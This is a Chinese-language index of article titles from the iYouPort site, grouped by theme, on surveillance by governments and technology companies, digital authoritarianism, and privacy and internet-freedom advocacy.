23. 您的汽车一直在监视您，现在执法当局有了’车辆取证工具包” - iyouport
24. 技术型镇压的新时代暴政 - iYouPort
25. 政府间谍软件在 Google Play 实现大规模监视 - iYouPort
26. 政治的未来：当机器决定“民主”？ - iyouport
27. 数十个城市实验了”少数派报告”中描述的技术 - iyouport
28. 数字极权的警察国家——传奇程序员 Richard Stallman 谈隐私权的真正含义以及为什么他只使用现金 - iYouPort
29. 新10年最有可能发生什么？- 焦虑与期待 - iyouport
30. 新地图显示了不可避免的监视蠕变 - iYouPort
31. 消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代 - iyouport
32. 深入你的大脑，窥探你是否忠诚 - iYouPort
33. 深度造假真的是一场真相已死的危机吗？我们如何化解这场危机？ - iYouPort
34. 独裁者的监视指南 - iyouport
35. 私人监视网络正在崛起吗？这意味着什么 - iYouPort
36. 网络战：!社交工程学正被全球当权者利用来攻击

活动家、异议人士和记者，如何抵御？ - iYouPort
37. 美国间谍、和匿名真相 - iYouPort
38. 被监视噤声的作家：大数据时代的自我审查 - iYouPort
39. 警察国家的梦想 - iYouPort
40. 身体相机适得其反吗？中国正在开始流行这种东西 - iYouPort
41. 需要警惕不只有警察，可能还有你的邻居：警方如何构建私人监视网络 - iYouPort
42. 高科技威权主义浪潮 - iYouPort
43. #COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱 - 包括但并仅仅是中国：长篇报告 - iYouPort
44. LR #COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱 - 包括但并仅仅是中国：长篇报告

4. 关于谷歌-监视资本主义的创始人

1. [video]监视之城：谷歌打造的地狱世界 - iYouPort
2. 👀亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里 - iYouPort
3. Google 产品的替代品 – 完整列表 关注隐私权的你，马上行动起来～ - iyouport
4. Google买下了Fitbit，这对您的数据隐私意味着什么？ - iYouPort
5. Google地图中启用的新隐身模式并不会保护你的隐私 - iYouPort
6. Google的自动删除工具实际上对隐私毫无价值 - iYouPort
7. 与警察私通追踪你的人生轨迹 - iYouPort
8. 为什么说 Google 搜索能否成功回归中国市场根本不重要？ - iYouPort
9. 俄式蜻蜓 - iYouPort
10. 别傻了，谷歌永远不会给你隐私 - iyouport
11. 到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首 - iYouPort
12. 前 Google 工程师: “管理层不仅乐于协助中国的审查，并且对外撒谎” - iYouPort
13. 可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？ - iYouPort

14. 喜欢 Android 但讨厌 Google 的隐私侵犯，可以怎么办？ - iYouPort
15. 嗨，小心！你被瞄准了 - iYouPort
16. 国王们的晚宴 —— 这是一场看不见的政变 - iyouport
17. 国王们的晚宴 —— 这是一场看不见的政变 - iYouPort
18. 国际特赦组织称Google和Facebook为侵犯人权者 - iYouPort
19. 如何操纵谷歌搜索结果以消除"负面内容"？ - iYouPort
20. 快讯：“不作恶”变“作大恶”，谷歌正在与北京政权无缝衔接 - iYouPort
21. 您应该警惕谷歌，但绝不是作为甲骨文的盟友 - iyouport
22. 打了鸡血的谷歌地球：远距离透视建筑物内部的一切 - iYouPort
23. 抗议谷歌的全球运动仍在继续 - iYouPort
24. 报复文化 - iYouPort
25. 政府间谍软件在 Google Play 实现大规模监视 - iYouPort
26. 新纪录片揭示 Facebook 和谷歌的真面目 - iYouPort
27. 最准确的恐惧 - iYouPort
28. 权谋：为游说华盛顿，谷歌制造了一个冠冕堂皇的傀儡？ - iYouPort
29. 看不见的政变 - iYouPort
30. 继续作恶：谷歌禁止 VPN 广告帮助中国规避审查制度 - iYouPort
31. 美式蜻蜓 - iYouPort
32. 老大哥已经把你家卧室当成了下一个数据金矿 - iYouPort
33. 谷歌为什么要对外撒谎？为什么在内外合力反对的情况下依旧继续审查项目 - iYouPort
34. 谷歌前高级工程师揭示了安卓预装应用中侵犯人权的重磅内幕 - iyouport
35. 谷歌将死于什么？ - iYouPort
36. 谷歌拒绝回答未来是否仍继续蜻蜓 - iYouPort
37. 谷歌控制的世界和监视资本主义 - iYouPort
38. 谷歌正在对你的孩子下手 - iYouPort

39. 谷歌正在对其中国审查版搜索项目进行秘密的"绩效评估" - iYouPort
40. 谷歌比 Facebook 更邪恶 - iYouPort
41. 谷歌的 Sidewalk Labs 打包出售数百万部手机的位置数据 - iYouPort
42. 谷歌的真面目 — — They’re always watching - iyouport
43. 谷歌的窃听窥探正瞄准你的家庭，还有你孩子的卧室 - iYouPort
44. 谷歌要削弱广告拦截器 - iYouPort
45. 辞职抗议的顶级人工智能科学家详述了谷歌的虚伪 - iYouPort
46. 这就是为什么你应该放弃 Chrome - iYouPort
47. 追踪谷歌的政治旋转门：开源调查 - iYouPort

5. 关于亚马逊、苹果、推特

1. ‘Twitter 禁止我，没有理由，但最终他们会失败’ - iYouPort
2. 👀亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里 - iYouPort
3. Apple如何找到您的离线设备？这是否是隐私噩梦？ - iYouPort
4. Twitter 和政治威胁 - iYouPort
5. 一起官司如何揭示了亚马逊 Alexa 的真面目？ - iYouPort
6. 为什么要强调：不要用微软产品！ - iYouPort
7. 亚马逊向错误的人发送了约1,700 条 Alexa 录音 - iYouPort
8. 亚马逊希望出售"监控即服务" - iYouPort
9. 亚马逊帮助警方构建了一个广泛的监控网络 - iYouPort
10. 亚马逊确认，即使您删除音频文件，它也会保留Alexa数据 - iYouPort
11. 他们因发布推文而遭到网警的审讯和拷打 - iYouPort
12. 众包的推特研究揭示了在线虐待令人震惊的规模 - iYouPort
13. 你知道‘贼’长什么样吗？ - iYouPort
14. 全裸上推 - iYouPort

15. 劫持长眠者 - iYouPort
16. 即便面对强大的抗议，亚马逊仍在恶化 - iYouPort
17. 国王们的晚宴 —— 这是一场看不见的政变 - iyouport
18. 国王们的晚宴 —— 这是一场看不见的政变 - iYouPort
19. 往死里 "坚称"：Twitter 的定指问题 - iyouport
20. 我是活动家 ⚠ Twitter 让我的生命处于危险之中 - iYouPort
21. 推特仍在帮助中国政府推动虚假消息的传播 - iYouPort
22. 推特可以去中心化吗？ - iYouPort
23. 推特曾经给我力量，但现在给我的是绝望 - iYouPort
24. 推特有毒 - iYouPort
25. 推特正在开始重点审查"大V"，这意味着什么？ - iYouPort
26. 推特隐私泄漏：美国依旧是榜首 - iYouPort
27. 推特骇客报告证实了用于社交媒体审查的工具的存在 - iyouport
28. 最准确的恐惧 - iYouPort
29. 清洁工具：自动删除您的旧推文，但您要保留的推文除外 - iYouPort
30. 现在是半夜，你知道你的 iPhone 在和谁说话吗？ - iyouport
31. 看不见的政变 - iYouPort
32. 纽约公民权利组织：美国公司正在向世界各地输出面部识别，并从其在国内的使用中获利 - iyouport
33. 纽约公民权利组织：美国公司正在向世界各地输出面部识别，并从其在国内的使用中获利 - iYouPort
34. 苹果究竟是在保护你的数据，还是垄断你的数据？ - iYouPort
35. 装本地人已经失败 ⚠ 亚马逊的口音识别技术可以告诉政府你的祖籍在哪 - iYouPort
36. 这里是亚马逊的 big brother 技术，你应该能感受到它的可怕 - iYouPort
37. 集体监听 - iYouPort

6. 关于Facebook-这不只是一家公司

1. "删除虚假内容" 仅针对老百姓，政客例外 - iYouPort
2. "十年"的阴谋 - iYouPort
3. [video]如何才能挑战 Facebook 并取得胜利？——Distributed Social Network - iYouPort
4. 50亿美元的惩罚只能令 Facebook 欣喜若狂 - iYouPort
5. Facebook 以"安全性"为幌子骗取你的手机号码 - iYouPort
6. Facebook 全球游说反对数据隐私法 - iYouPort
7. Facebook 正在令真相挖掘事业陷入困境 - iYouPort
8. Facebook 的垮台只是刚刚开始 - iYouPort
9. Facebook 的邪恶比你所怀疑的更严重 - iYouPort
10. Facebook 知道如何使用相机镜头上的灰尘跟踪你 - iYouPort
11. Facebook 给了全球当权者一个终极暴政蓝图 - iYouPort
12. Facebook 阻止透明度工具 - iYouPort
13. Facebook、WhatsApp 促进人口贩运? - iYouPort
14. Facebook、而不是微软，是开源的主要威胁 - iYouPort
15. Facebook不仅知道你现在在哪，它还想知道你未来会在哪 - iYouPort
16. Facebook为俄罗斯互联网巨头创造了一个特殊的数据扩展……究竟为什么？ - iYouPort
17. Facebook对您进行毛骨悚然的跟踪 - 即使您根本不用Facebook - iYouPort
18. Facebook找到了让端对端加密失败的方法 - iYouPort
19. Facebook承认：它扫描您发送的所有消息和照片 - iYouPort
20. Facebook正在给Trolls做蜜罐 - iYouPort
21. Facebook用欺骗的方法拼命扩大其生物识别数据收集，目的是在现实世界中控制你 - iYouPort
22. Facebook的预装强奸 - iYouPort
23. 不，豪根不是 Facebook 的 “吹哨人“，这一误解很危险 - iyouport
24. 为什么说马克扎克伯格的 "元宇宙" 是一场反乌托邦的噩梦；互联网作为新的圈地运动 - iyouport

25. 交出你的密码 - iYouPort
26. 人类数据库和算法劳工：Facebook 的算法工厂 (第2部) —— 关于数字极权是如何折腾你的
27. 仅仅删除 Facebook 无法终止被追踪 - iYouPort
28. 从在线骚扰到线下逮捕：社交媒体被武器化针对异议人士，美国寡头漠不关心 - iYouPort
29. 删除真的很容易吗？删除之后呢？抵制 Facebook 运动不该忽视深层问题 - iYouPort
30. 前 Facebook 高管讲述了社交网络的真相 - iYouPort
31. 如何戒断 Facebook？ - iYouPort
32. 完美帮凶 - iYouPort
33. 当删除都没用的时候，怎么办 - iYouPort
34. 扎克伯格的假账户庞氏骗局和监视资本主义的命运 - iYouPort
35. 打破 Facebook 究竟需要什么？ - iYouPort
36. 拥护的背后 - iyouport
37. 拥护的背后 - iYouPort
38. 新曝光的文件显示：Facebook 从来都不值得你信任！ - iYouPort
39. 是谁正在围观你的性生活？ - iYouPort
40. 杀死天秤座在萌芽状态 - iYouPort
41. 深层政治：Facebook金字塔的人形肌理 —— 仅仅依靠开源数据，扒开利维坦的内裤 - iYouPort
42. 现在必须知道 Facebook 对你做了什么 - iYouPort
43. 秘密诉讼之恶：隐私保护如何输在了起跑线上？ - iYouPort
44. 究竟能不能状告 Facebook？ - iYouPort
45. 这些间谍如何把你的照片变成了监视工具？ - iyouport
46. 非物质劳动和数据收集：Facebook 的算法工厂 (第1部) —— 关于数字极权是如何剥削你的
47. 高科技极权主义 - iYouPort

7. 你我的灾难现实

1. “强行干预”数据库 - iyouport
2. "未来是一项方程式" - 少数派报告的威胁不是这两年才有的新事物 - iYouPort
3. “社会信用”监视：英国、中国、美国和日本

【Viedo】 - iyouport
4. "紧急状态"意味着什么 - iYouPort
5. 1200万部电话，一个数据集：利维坦眼中的世界 - iyouport
6. 70年后，还是1984 - iyouport
7. 90%的VPN网站在跟踪记录你的一举一动 - iyouport
8. 90%的VPN网站在跟踪记录你的一举一动 - iYouPort
9. AI 使用回声定位来识别你正在做什么 - iYouPort
10. AI警卫：机器人专制[video] - iYouPort
11. LR 你的手机如何背叛了民主？ - iyouport
12. LR 单向镜的背后：监视资本家和政府的联手一直在如何折腾你？ - iyouport
13. 上帝之眼：一个没有秘密的世界意味着什么？ - iYouPort
14. 不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？ - iYouPort
15. 世界末日的聊天机器人 - iYouPort
16. 人工智能新冷战 - AI和5G如何变成一场噩梦 - iYouPort
17. 人类数据库和算法劳工：Facebook 的算法工厂 (第2部) —— 关于数字极权是如何折腾你的
18. 任何事都不会阻止邮局对你进行间谍活动 - iYouPort
19. 你在线发布的所有照片都变成了瞄准你的黑枪 - iYouPort
20. 你所有昂贵的电子设备事实上全都是租来的 - iyouport
21. 你正在为一个贴身老大哥努力工作：地狱的新常态 - iYouPort
22. 你正在如何被操纵：这是每个人都难以躲避的无形专制【video】 - iyouport
23. 你的手机如何背叛了民主？ - iyouport
24. 你的手机就是秘密监视设备 — Snowden访谈视频 - iyouport
25. 你的手机知道一切，并且很愿意告诉警察：法律不保护你 - iyouport
26. 你的老板可能是比 Facebook、谷歌更大的老大哥 - iyouport

27. 你的老板可能是比 Facebook、谷歌更大的老大哥 - iYouPort
28. 全裸的数字脱衣 - iYouPort
29. 六千万美元的猖狂 - iyouport
30. 冷漠的阳谋 - iYouPort
31. 别让你的孩子深陷1984 - iYouPort
32. 危险：监控技术公司正在推动对零日漏洞的利用 - iYouPort
33. 变态狂的生意经 - iYouPort
34. 变态的雇佣关系 - iYouPort
35. 在2019年，你的纹身可能会让你被捕 - iYouPort
36. 在商店里，秘密监视如何跟踪你的每一步行动？ - iYouPort
37. 在线心理测试正在利用你最痛苦的内心赚钱 - iYouPort
38. 地主2.0：科技的新食利资本主义 - iyouport
39. 如果你的手机被安装了间谍软件怎么办 - iyouport
40. 当政府想要你的 DNA - iYouPort
41. 当权者拒绝停止社交媒体钓鱼 - iYouPort
42. 忘记面部识别吧，智能手机监控你如何行走、如何打字以及”空闲时间都干了什么” - iyouport
43. 恐怖的 0day 市场 - iYouPort
44. 恐怖读心术 - iYouPort
45. 您并不偏执，您的手机确实在窃听您所说的一切 - iyouport
46. 您应该了解的政府监视项目 - iyouport
47. 情绪监控已成为主流：你的表情能掩盖住内心吗？ - iYouPort
48. 我们生活在菲利普·迪克（Philip K. Dick）的未来，而不完全是乔治·奥威尔 - iYouPort
49. 我们的行为一直在被秘密地"评分" - iYouPort
50. 我们还有机会说悄悄话吗？互联网时代的坦诚之死 - iYouPort
51. 手机元数据和 Facebook 个人信息如何决定了一个人的命运？- 逃难之旅的新坎坷 - iYouPort
52. 推特骇客报告证实了用于社交媒体审查的工具的存在 - iyouport
53. 政府间谍如何监听并自动识别电话通话中的敏感词? - iyouport
54. 数字威权主义的兴起: 灾年之畔 - iYouPort

55. 数字极权的警察国家——传奇程序员 Richard Stallman 谈隐私权的真正含义以及为什么他只使用现金 - iYouPort
56. 新10年最有可能发生什么？- 焦虑与期待 - iyouport
57. 新的手机间谍软件监视范围包括QQ和微信 - iYouPort
58. 无形的极权主义 - iyouport
59. 无形的极权主义 - iYouPort
60. 最完美的绑架 - iYouPort
61. 机器人监视卫队即将到来 - iYouPort
62. 流亡也没有安全 - iYouPort
63. 深度造假真的是一场真相已死的危机吗？我们如何化解这场危机？ - iYouPort
64. 深陷 matrix - iYouPort
65. 生物识别身份证 - iYouPort
66. 百米之内轻松获取你的手机号 —— 邪恶“黑匣子”正在中国热销 - iYouPort
67. 监狱式教学 - iYouPort
68. 看不见的独裁 - iyouport
69. 看不见的黑手：自动化未来的政治 - iyouport
70. 算法专制 - iyouport
71. 算法专制 - iYouPort
72. 老大哥进入厕所：学校正在使用监视应用程序跟踪学生撒尿，这意味着什么？ - iYouPort
73. 警察国家的梦想 - iYouPort
74. 警察查手机的东西长什么样？—— 从技术角度看移动设备取证 - iyouport
75. 购物中的隐私泄漏：不论是在线剁手还是实体店，都应注意 - iYouPort
76. 隐私的终结，始于上世纪60年代 - iYouPort

8. 你的反乌托邦在线生活阴云密布

    1. “媒体监测数据库”是做什么用的？政府为什么要收集媒体和评论家的个人信息？ - iYouPort
    2. ❤ 如何保护您的家人免受恐吓软件和勒索软件的侵害 - iYouPort
    3. Books 条条大路通北京 - iyouport
    4. Facebook对您进行毛骨悚然的跟踪 - 即使您根本不

用Facebook - iYouPort
5. LinkedIn 正在帮助中国政府对批评者噤声 - iYouPort
6. LR ＜可视化信息战＞ 第 1 部分：在线媒体上的政治宣传、压迫和攻击 - iyouport
7. LR ＜可视化信息战＞ 第2部分：社交媒体战场、人工政治和逮捕 - iyouport
8. Telegram 频道的创作者被控“侮辱先知” 很可能会被判处死刑 - iYouPort
9. 什么是社交媒体情报？你的推特如何成为抓捕你的理由？ - iyouport
10. 你如何证明你是好人？强行监控社交媒体的含义 - iYouPort
11. 你的足迹非常危险！ - iYouPort
12. 使用社交媒体时你必须注意什么？ — — 更安全的抵抗 - iyouport
13. 利润丰厚的在线删帖业务 - iYouPort
14. 反侦察教训：当权者如何抓捕 Facebook 和 telegram 用户 - iYouPort
15. 塔吉克斯坦据称和中国一样大批雇佣五毛，但不同在于… - iYouPort
16. 好莱坞究竟是亲中还是亲美？ - iYouPort
17. 如何抵制SIM卡交换攻击 - iyouport
18. 如何识别 Facebook 上的假朋友请求 - iYouPort
19. 如何追踪一辆汽车？ - iYouPort
20. 封锁言论就能制止仇恨吗？不 - iYouPort
21. 当一个陌生人想要毁掉你的生活……来自社交媒体时代特有的威胁 - iyouport
22. 当权者拒绝停止社交媒体钓鱼 - iYouPort
23. 我们的付出应该获得回报 —— 是时候了，打破监视资本主义的数据经济 Separator 监视资本主义 % Separator iYouPort
24. 数以千计的公司在监视你，并不完全是为了广告，更有为了政府 - iYouPort
25. 来自 WhatsApp 的言论罪 - iYouPort
26. 欢迎来到纽约！迎接老大哥 - iYouPort
27. 此应用程序让您的 Instagram 粉丝跟踪您的位置 - iYouPort
28. 武器化的社交媒体正在推动法西斯主义的爆发 - iYouPort

29. 玩社交媒体应该非常警惕 - iYouPort
30. 电视机的阴谋 - iYouPort
31. 社交媒体发帖被判刑十年：以“假新闻”为借口的扼杀异议行为触目惊心 - iYouPort
32. 社交媒体情报在加拿大 - iYouPort
33. 社交媒体情报是什么？它正在如何威胁你？ - iYouPort
34. 社交媒体的隧道生态和心理操控 - iYouPort
35. 社交媒体破坏民主的证据越来越多 - iyouport
36. 秘密空间站 - iYouPort
37. 第 1 部分：在线媒体上的政治宣传、压迫和攻击 - iYouPort
38. 美国的斯塔西在乌克兰 - iYouPort
39. 警局官方社交媒体账户泄漏监视异议的证据，是英雄之举还是“粗心大意”？ - iYouPort
40. 警方可拿走设备上全部数据还让你不知道 — — 这是什么技术？哪个公司提供？ - iyouport
41. 阶层斗争持久战中的教师 - iYouPort

9. 监视区块链和反现金之战

    1. 中国正在使用区块链技术监视其公民？ - iyouport
    2. 中国的反乌托邦进度 - iYouPort
    3. 他们对加密货币下手了 - iyouport
    4. 即使是注重隐私的加密货币也可能泄漏你的秘密 - iyouport
    5. 反现金的中国战讯为什么值得警惕？ - iYouPort
    6. 如何使用 SpiderFoot CLI 从网站提取比特币钱包地址和余额 - iYouPort
    7. 如何使用区块链追踪暗网服务交易 - iYouPort
    8. 如何在区块链上追踪比特币交易？ - iyouport
    9. 恐怖的反现金之战 - iyouport
    10. 权利组织：政府监控矛头指向加密货币，这是危险的 - iyouport
    11. 现金退场的恐慌 - iyouport
    12. 监视区块链 - iyouport
    13. 监视进入区块链 - iyouport

10. 你如何正在被互联网所改变-媒介效应

    1. "后真相"概念为什么应该终结 - iYouPort

2. “我永远正确”背后的动机 - iYouPort
3. nobody cares 的背后究竟是什么 - iYouPort
4. 不知不觉中，你已经变成了别人——社交媒体如何改写了你的记忆 - iYouPort
5. 两本截然相反的书揭示了一个值得思考的问题 - iYouPort
6. 为什么民粹主义蓬勃发展？部分要归罪于今天的技术 - iyouport
7. 从媒体卖乖到政治品牌化（二）消费者经济时代脆弱的民主 - iYouPort
8. 从掰玉米的熊到阿喀琉斯之踵（一）数字时代的空虚寂寞冷 - iYouPort
9. 冠状病毒如何展示了数字技术撕裂社会的极致状态 - iyouport
10. 冷漠机器 - iYouPort
11. 孤独之杀 - iYouPort
12. 引流暴政和生存困惑 - iYouPort
13. 当一个陌生人想要毁掉你的生活……来自社交媒体时代特有的威胁 - iyouport
14. 恶性偏见和无实效的争议 - iYouPort
15. 我们还有机会说悄悄话吗？互联网时代的坦诚之死 - iYouPort
16. 扭曲的自我：社交媒体世界 - iyouport
17. 最完美的绑架 - iYouPort
18. 注意力萎缩的世界，之后呢？ - iYouPort
19. 百忧解时代（一）变质的竞争和时代性焦虑 - iYouPort
20. 百忧解时代（三）令人沉迷的广义化自杀 - iYouPort
21. 百忧解时代（二）数字世界里焦躁的“新”人类 - iYouPort
22. 社交媒体时代的抑郁症 - iYouPort
23. 社交媒体的隧道生态和心理操控 - iYouPort
24. 致命的刹手 - iYouPort
25. 逻辑错误 - iYouPort
26. 鄙视带来的优越感 - iYouPort
27. 非自愿潜伏 - iYouPort

11. 互联网自由-Resist

1. “Web 民主化的一小步”：开源去中心化平台 Solid 推出 - iYouPort
2. "公民需要组织起来以摆脱中美高堡奇人的世界" - iYouPort
3. “我们不能被互联网摧毁” —— 📢新的全球性革命正在拉开序幕，万维网之父重出江湖 - iYouPort
4. 🪓 量子计算机将打破保护互联网的加密？ - iYouPort
5. 6年，改变了什么？ - iYouPort
6. Facebook、而不是微软，是开源的主要威胁 - iYouPort
7. Metahaven：政治现实的低吟之语 - iYouPort
8. Snowden 启示五周年：我们离自由还有多远？ - iYouPort
9. Why Freedom is Essential to Security and Privacy - iYouPort
10. 一个值得思考的案例：当权者的无知也是流氓行为的缘由 - iYouPort
11. 一句人权，任重道远 - iYouPort
12. 一项新举措如何使世界大国相互对立 - iYouPort
13. 不是防漏而是善后 - iYouPort
14. 世界各地的言论自由和隐私权都在减少 - iYouPort
15. 为什么你不应该信任应用程序；以及如何解决这个问题 - iyouport
16. 为什么当权者拼命要抢走你的隐私？ - iYouPort
17. 为什么说欧洲新法规反而会加强 Facebook 和 Google 的霸权？ - iYouPort
18. 为什么隐私保护法规并没能起到作用？ - iYouPort
19. 买断互联网 - iYouPort
20. 互联网主权的全球崛起：这意味着什么？ - iyouport
21. 便利的暴政 - iyouport
22. 创新的复古 - iYouPort
23. 别天真，库克不是上帝 - iYouPort
24. 去中心化草图 - iYouPort
25. 反监视 - 城市民主的崛起 - iYouPort
26. 只有选票从来都不够，监视和审查正危机民主 —— 选举季最先迎来的是网络封锁 - iYouPort
27. 在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来” - iYouPort

28. 大型“云”供应商时代的审查制度：集中化毁掉互联网自由 - iyouport
29. 如果技术属于人民呢？ - iyouport
30. 对于许多人来说，阿拉伯之春还没有结束 - iYouPort
31. 平衡“执法需求”和人权维护真的可能吗？ - iYouPort
32. 恐惧和希望并存：未来，还没糟透 - iYouPort
33. 挽救民主：重新定义信息时代的关键基础设施 - iYouPort
34. 探索替代互联网和不寻常的网络形式: 在哈瓦那挑战恶劣的"互联网"生态 - iYouPort
35. 推进反对大规模监视的斗争 - iYouPort
36. 数字专制与民主范式之战 - iYouPort
37. 数字开源时代和决定性领导真的矛盾吗？- Linux 和阿拉伯之春 - iYouPort
38. 数据投毒以抵制监视资本主义：这肯定不是一步到位的斗争，但也许能作为一小部分战术 - iyouport
39. 新一代技术人员如何改变未来？ - iYouPort
40. 有人要把测谎仪"搬到"互联网上，你觉得这可行吗？ - iYouPort
41. 欧盟邪恶的版权法案其实已经过时 - iYouPort
42. 猫鼠游戏永远持续 —— 隐私保卫战的未来会如何？ - iYouPort
43. 现在是技术专家成为立法者的时候了 - iYouPort
44. 科技公司对您的数据究竟做了什么？我们可以如何反击？ - iYouPort
45. 秘密诉讼之恶：隐私保护如何输在了起跑线上？ - iYouPort
46. 老龄化互联网 - iYouPort
47. 自己的互联网？ - iYouPort
48. 计算机和权力：失败主义是自由的敌人 - iYouPort
49. 订户之城 - iyouport
50. 讽刺性依赖 - iYouPort
51. 调查数据：斯诺登改变了多少？终结老大哥有多难？ - iYouPort
52. 阿姆斯特丹领导对监视资本主义的斗争 - iYouPort
53. 隐私不平等的危害 - iYouPort
54. 隐私悖论 - iYouPort
55. 隐私意识、中国人的态度和通往民主的路障 -

iyouport
56. 隐私法案管不住 Facebook 和 Google，怎么办 - iYouPort
57. 安全工具箱补充版：分类工具列表（2） - iyouport

12. 无处不在，无处可逃-所谓的“智能”是什么

1. “智能城市”究竟是个什么鬼？！ - iYouPort
2. [video]监视之城：谷歌打造的地狱世界 - iYouPort
3. 👀亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里 - iYouPort
4. AI 使用回声定位来识别你正在做什么 - iYouPort
5. 一家寡头退出面部识别市场是远远不够的 - iYouPort
6. 一起官司如何揭示了亚马逊 Alexa 的真面目？ - iYouPort
7. 世界城市正在成为新加坡 - iYouPort
8. 中国AI巨头让监视如此容易 - iYouPort
9. 为什么要你……远离广告牌!!! - 老大哥来了 - iYouPort
10. 亚马逊帮助警方构建了一个广泛的监控网络 - iYouPort
11. 仙人掌间谍 - 永恒的在线 - iYouPort
12. 你只是被遗弃的尸体 - iYouPort
13. 你知道‘贼’长什么样吗？ - iYouPort
14. 入侵大脑 - iYouPort
15. 别摸东西！[video] - iYouPort
16. 华为如何把德国城市变成圆形监狱 - iYouPort
17. 天空中的眼睛 - iYouPort
18. 新的智能手机应用程序帮您迅速发现物联网中的间谍设备 - iyouport
19. 疯狂的杭州猪[video] - iYouPort
20. 监视出行的恐慌 - iYouPort
21. 硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重 - iYouPort
22. 老大哥已经把你家卧室当成了下一个数据金矿 - iYouPort
23. 被流行语掩盖着的 *技术专制主义* 时代 - iYouPort

24. 让老大哥布满你的家 - iYouPort
25. 谷歌的 Sidewalk Labs 打包出售数百万部手机的位置数据 - iYouPort
26. 路灯间谍 - iYouPort
27. 这里是亚马逊的 big brother 技术，你应该能感受到它的可怕 - iYouPort
28. 集体监听 - iYouPort

13. 老大哥的真面目

1. “任何目标，随时随地”：解密文件曝光NSA突击部队的监视行动 - iyouport
2. “只管去做，别问问题”：走进以色列利润丰厚且秘密的网络监视行业内部 - iyouport
3. “我的间谍生活” — — 在共产主义罗马尼亚的监视之下 - iYouPort
4. “社会信用”监视：英国、中国、美国和日本【Viedo】 - iyouport
5. LR 互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场 - iyouport
6. Snowden 文件：新西兰一直全面监视所有太平洋邻国，甚至是合法的 - iYouPort
7. 丑陋的现实：在共产党阿尔巴尼亚的秘密档案中挖掘真相 - iYouPort
8. 中国式的反乌托邦在西方 - iyouport
9. 什么是”黑钱”？解答5个问题 - iyouport
10. 以“开会”为名实施侵入性监视，右转的东欧如何形同中国？ - iYouPort
11. 俄罗斯正模仿美国棱镜计划建立大规模监视系统 — — Wikileaks 披露（中文版）⏳ - iYouPort
12. 全球暴行的同谋者 - iyouport
13. 冠状病毒大流行期间，监视状态蓬勃发展 - iyouport
14. 可视化数据：全球监控行业 — — 谁是大哥？谁在作恶？ - iYouPort
15. 国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？ - iYouPort
16. 大型连锁酒店如何成为监视国家的武器 - iyouport
17. 如何喂饱抗议者？- 走进 反叛厨房 - iYouPort
18. 媒体巨头和硅谷的武器化算法沉默异议 - iyouport

19. 心理操纵的秘密："行为经济学"＋PR＝？ - iyouport
20. 报告：老大哥正越来越多地外包给硅谷，以令当权者逃避问责 - iYouPort
21. 揭示日本秘密间谍机构：拦截通信电邮、试图监视 Tor 网 - iYouPort
22. 数字极权的审查如何扼杀独立媒体？ - iYouPort
23. 新文件显示政府间谍对信息的秘密索取远远超过监视资本家 - iYouPort
24. 是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？ - iYouPort
25. 有多少国家禁止或限制使用 VPN？ —— 全球互联网审查分布图：VPN 在你的国家合法吗？
26. 来自中国和美国的政府监视：7个危险的用例 - iyouport
27. 来自中国和美国的政府监视：7个危险的用例 - iYouPort
28. 泄漏文件：跨大西洋联合监视网络就要诞生了 - iYouPort
29. 浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有 - iYouPort
30. 深入你的大脑，窥探你是否忠诚 - iYouPort
31. 看不见的独裁 - iyouport
32. 科技寡头如何操纵学术界以延续隐性专制？ - iYouPort
33. 窃听室：揭秘国家安全局隐藏在八个城市中的间谍中心 - iYouPort
34. 窃听究竟有多"容易"？ - iyouport
35. 精致的诡计 - iYouPort
36. 老大哥出任司法部长的结果是什么？ - iYouPort
37. 老大哥否认他是老大哥怎么办？起诉他 - iYouPort
38. 英国间谍如何对端对端的致命弱点开刀？！ - iYouPort
39. 血族：美国人、IBM 和出口的数字警察国家 [video] - iYouPort
40. 西方如何养肥了华为又"成就了"种族灭绝监视综合体？ - iYouPort
41. 西方政府如何助长了数十年来最严重的人权危机 - iYouPort

42. 这个20亿美元的监视实验室，隐藏了60多年不为人知 - iyouport
43. 这些使用暗网的人是如何被抓到的？ - iyouport
44. 选举如何成为一门生意：私人情报市场和现实的有偿操纵者 - iYouPort
45. 闷声发大财的跨国老大哥 - iYouPort
46. 雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国 - iyouport

14. 公私监控伙伴关系

1. “剑桥”母公司在32个国家开展工作，并传称与中国政府也有联系 - iYouPort
2. “社会信用”监视：英国、中国、美国和日本【Viedo】 - iyouport
3. LR 单向镜的背后：监视资本家和政府的联手一直在如何折腾你？ - iyouport
4. LR 让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证 - iyouport
5. Tech Giants 揭示了政府对数据的疯狂索取 - iYouPort
6. 一个蓬勃发展的间谍技术市场 - iYouPort
7. 中国、迪拜和意大利的警察正在使用这些监视偷窥扫描路径的任何人 - iyouport
8. 他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕 - iyouport
9. 以手机闻名的公司正在迅速成为政府监控的主要参与者 - iYouPort
10. 你知道哪里有间谍吗？闹钟、树干、婴儿车、墓碑…… 以上都是 - iYouPort
11. 公私监视伙伴关系：10个国家使用加拿大的互联网内容过滤技术压制异议 - iYouPort
12. 共谋侵犯人权，以保留进入中国以外最大的数字媒体用户市场的交易 - iyouport
13. 冠状病毒危机究竟是否能够结束？：威权主义的权衡 - iyouport
14. 功能强大的手机监控工具已经在全美各地默默部署 - iYouPort
15. 只要一张照片，陌生人就可以找到您的一切私密信

息 - iyouport
16. 您的政府是否要求科技巨头提供用户数据？ - iYouPort
17. 报告：老大哥正越来越多地外包给硅谷，以令当权者逃避问责 - iYouPort
18. 新文件显示政府间谍对信息的秘密索取远远超过监视资本家 - iYouPort
